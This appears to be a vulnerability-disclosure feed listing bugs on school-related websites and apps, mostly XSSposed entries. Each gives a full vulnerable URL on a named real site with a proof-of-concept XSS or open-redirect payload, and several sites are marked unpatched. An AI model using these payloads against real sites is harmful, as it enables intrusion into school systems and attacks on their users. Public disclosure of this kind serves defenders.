School-Organizer BETA - Customized SSL, Dangerous filesystem permissions, Exported ContentProvider vulnerabilities

HackApp vulnerability scanner discovered that application School-Organizer BETA published at the 'play' market has multiple vulnerabilities...

鹏达学校综合管理系统任意下载漏洞

No description provided by source...

Goodo学校门户网站系统ClassPhtoAdd.aspx文件上传漏洞

No description provided by source...

X (Formerly Twitter): CSRF in twitterflightschool.com ( CAN POST ON TIMELINE WITHOUT USER PERMISSION)

Hi, 1 Go to twitterflightschool.com and start intercepting every request . 2 No csrf tokens are present in the requests 3 Even in account settings there are no csrf tokens Attacker could post on twitter timeline of user https://twitterflightschool.com/module/twitter-for-executives/chapter/final T...

taxilimo.ca XSS vulnerability

Vulnerable URL: https://www.taxilimo.ca/schoolreservations.php?AccountNumber=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 18594883...

rainbowhillsschool.net XSS vulnerability

Vulnerable URL: http://www.rainbowhillsschool.net/search.php?pageID=search=%3Cscript+src%3Dhttps%3A%2F%2Fxssposed.org%2F1.js%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:00 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

oldorchardschool.com Open Redirect vulnerability

Vulnerable URL: http://www.oldorchardschool.com/cfnews/forward.cfm?dest=https://www.xssposed.org/ Details: Description| Value ---|--- Patched:| Yes, at 11.04.2016 Latest check for patch:| 11.04.2016 16:24 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank|...

trinityvalleyschool.org XSS vulnerability

Vulnerable URL: http://www.trinityvalleyschool.org/cfnews/forward.cfm?dest=javascript:alert/XSSPOSED/ Details: Description| Value ---|--- Patched:| Yes, at 11.04.2016 Latest check for patch:| 11.04.2016 17:32 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 88779...

community.kent-school.edu Open Redirect vulnerability

Vulnerable URL: http://community.kent-school.edu/cfnews/forward.cfm?dest=https://www.xssposed.org/ Details: Description| Value ---|--- Patched:| Yes, at 11.04.2016 Latest check for patch:| 11.04.2016 06:28 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank...

lincolnschool.org XSS vulnerability

Vulnerable URL: http://www.lincolnschool.org/cfnews/forward.cfm?dest=javascript:alert/XSSPOSED/ Details: Description| Value ---|--- Patched:| Yes, at 10.04.2016 Latest check for patch:| 10.04.2016 13:33 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1601670...

chadwickschool.org XSS vulnerability

Vulnerable URL: http://www.chadwickschool.org/cfnews/forward.cfm?dest=javascript:alert%28/XSSPOSED/%29 Details: Description| Value ---|--- Patched:| Yes, at 10.04.2016 Latest check for patch:| 10.04.2016 14:24 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7910...

colburnschool.edu XSS vulnerability

Vulnerable URL: http://www.colburnschool.edu/cfnews/forward.cfm?dest=javascript:alert/XSSPOSED/ Details: Description| Value ---|--- Patched:| Yes, at 10.04.2016 Latest check for patch:| 10.04.2016 13:28 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 973499 Goog...

colburnschool.edu Open Redirect vulnerability

Vulnerable URL: http://www.colburnschool.edu/cfnews/forward.cfm?dest=https://www.xssposed.org/ Details: Description| Value ---|--- Patched:| Yes, at 10.04.2016 Latest check for patch:| 10.04.2016 12:27 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank|...

balwynhs.vic.edu.au Open Redirect vulnerability

Vulnerable URL: http://www.balwynhs.vic.edu.au/redirect.aspx?url=http://xssposed.org/ Details: Description| Value ---|--- Patched:| Yes, at 10.11.2016 Latest check for patch:| 10.11.2016 02:32 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

psp.springfield.k12.or.us XSS vulnerability

Vulnerable URL: https://psp.springfield.k12.or.us/PSP/app/web/lgn/lgndisplay.asp?action=displaypassword=PasswordForm=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 09.03.2016 Latest check for patch:| 09.03.2016 03:26 GMT Vulnerability type:| XS...

stjosephsschool.ae XSS vulnerability

Vulnerable URL: http://www.stjosephsschool.ae/viewcomments.php?msg=%27%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6768821 Google...

moraviaschool.org XSS vulnerability

Vulnerable URL: http://www.moraviaschool.org/getstaff.cfm?building=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 07.03.2016 Latest check for patch:| 07.03.2016 10:30 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

192.com XSS vulnerability

Vulnerable URL: http://www.192.com/schools/search/location?gre=324144%22%3E%3Csvg/onload=prompt%28document.domain%29%3E=477253=Marton%2C+Cumbria Details: Description| Value ---|--- Patched:| Yes, at 27.02.2017 Latest check for patch:| 27.02.2017 11:57 GMT Vulnerability type:| XSS Vulnerability...

mediacast.madisoncity.k12.al.us XSS vulnerability

Vulnerable URL: http://mediacast.madisoncity.k12.al.us/login.cfm?message=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:53 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

students.washington.edu XSS vulnerability

Vulnerable URL: http://students.washington.edu/uwultima/playerBio.php?firstName=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...